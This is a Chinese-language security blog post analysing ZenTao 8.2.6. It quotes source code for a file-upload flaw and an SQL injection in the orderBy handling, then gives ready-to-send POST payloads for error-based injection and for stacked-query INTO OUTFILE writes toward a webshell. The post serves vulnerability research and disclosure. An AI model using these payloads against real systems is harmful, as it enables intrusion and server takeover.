> 之前和一个朋友一直在讨论禅道获取webshell的方法,折腾了一天左右,最后还是在命令执行的地方拿到shell的。说来也是惭愧,这两天又研究了一下,又发现了一个低版本getshell的方法,最新版本是不行的,我测试的版本是8.2.6。最新版本9.1是不行的,其它版本未测试。

一、上传点
// D:\wamp\www\zentao826\module\file\control.php
public function ajaxUpload()
{
    $file = $this->file->getUpload('imgFile');
    $file = $file[0];
    if($file)
    {
        if($file['size'] == 0) die(json_encode(array('error' => 1, 'message' => $this->lang->file->errorFileUpload)));
        if(@move_uploaded_file($file['tmpname'], $this->file->savePath . $file['pathname']))
        {
            /* Compress image for jpg and bmp. */
            $file = $this->file->compressImage($file);

            $file['addedBy']    = $this->app->user->account;
            $file['addedDate']  = helper::today();
            unset($file['tmpname']);
            $this->dao->insert(TABLE_FILE)->data($file)->exec();

            $url = $this->file->webPath . $file['pathname'];
            die(json_encode(array('error' => 0, 'url' => $url)));
        }
        else
        {
            $error = strip_tags(sprintf($this->lang->file->errorCanNotWrite, $this->file->savePath, $this->file->savePath));
            die(json_encode(array('error' => 1, 'message' => $error)));
        }
    }
}

这里,我们可以用burpsuite抓包将文件名改为xxxx.php**可以是{\x80-\x99}。这样,我们就可以成功上传一个shell,但是die(json_encode(array('result' => 'success', 'message' => $this->lang->saveSuccess)));会错误而不会返回文件的地址。

二、SQL注入的根源

> 问题出在oderBy函数

// D:\wamp\www\zentao826\lib\base\dao\dao.class.php
public function orderBy($order)
{
    if($this->inCondition and !$this->conditionIsTrue) return $this;

    $order = str_replace(array('|', '', '_'), ' ', $order);

    /* Add "`" in order string. */
    /* When order has limit string. */
    $pos    = stripos($order, 'limit');
    $orders = $pos ? substr($order, 0, $pos) : $order;
    $limit  = $pos ? substr($order, $pos) : '';

    $orders = explode(',', $orders);
    foreach($orders as $i => $order)
    {
        $orderParse = explode(' ', trim($order));
        foreach($orderParse as $key => $value)
        {
            $value = trim($value);
            if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;

            $field = $value;
            /* such as t1.id field. */
            if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
            /* Ignore order with function e.g. order by length(tag) asc. */
            if(strpos($field, '(') === false and strpos($field, '`') === false) $field = "`$field`";

            $orderParse[$key] = isset($table) ? $table . '.' . $field :  $field;
            unset($table);
        }
        $orders[$i] = join(' ', $orderParse);
    }
    $order = join(',', $orders) . ' ' . $limit;

    $this->sql .= ' ' . DAO::ORDERBY . " $order";
    return $this;
}

> 这段代码是有问题的,order参数经过了一些处理就直接拼接到了SQL查询语句中,但是问题在于,一些处理并没有针对安全处理。不过有下面几点可能会出现问题,具体为什么看看代码就知道了。

三、注入点
// D:\wamp\www\zentao826\module\product\control.php
public function updateOrder()
{
    $idList   = explode(',', trim($this->post->products, ','));
    $orderBy  = $this->post->orderBy;
    if(strpos($orderBy, 'order') === false) return false;

    $products = $this->dao->select('id,`order`')->from(TABLE_PRODUCT)->where('id')->in($idList)->orderBy($orderBy)->fetchPairs('order', 'id');
    foreach($products as $order => $id)
    {
        $newID = array_shift($idList);
        if($id == $newID) continue;
        $this->dao->update(TABLE_PRODUCT)->set('`order`')->eq($order)->where('id')->eq($newID)->exec();
    }
}

因此我们的payload就是

http://zentao826.me/product-updateorder.html
POST:products=1,2&orderBy=`order`and/**/polygon((select/**/*/**/from(select/**/*/**/from(select/**/user())a)b))%23

虽说可以盲注了,但是你会发现表名、字段名出现了下划线就不能注入了。。。

四、如果没有下划线

> 没有下划线的情况,在这里盲注也是很麻烦的,在最上面,我们提到了一个上传点,但是没有办法拿到文件名。但是,如果没有下划线能不能从注入点切入呢?禅道这套系统使用的是PDO操作数据库,记得很久之前做过一道CTF,当时就是利用PDO可以多语句执行的特性。

因此这里的执行步骤就是:

payload如下

http://zentao826.me/product-updateorder.html
POST:products=1,2&orderBy=`order`;select/**/*/**/from/**/file/**/into/**/outfile/**/'d:/2'#

条件限制

源链接

Hacking more

...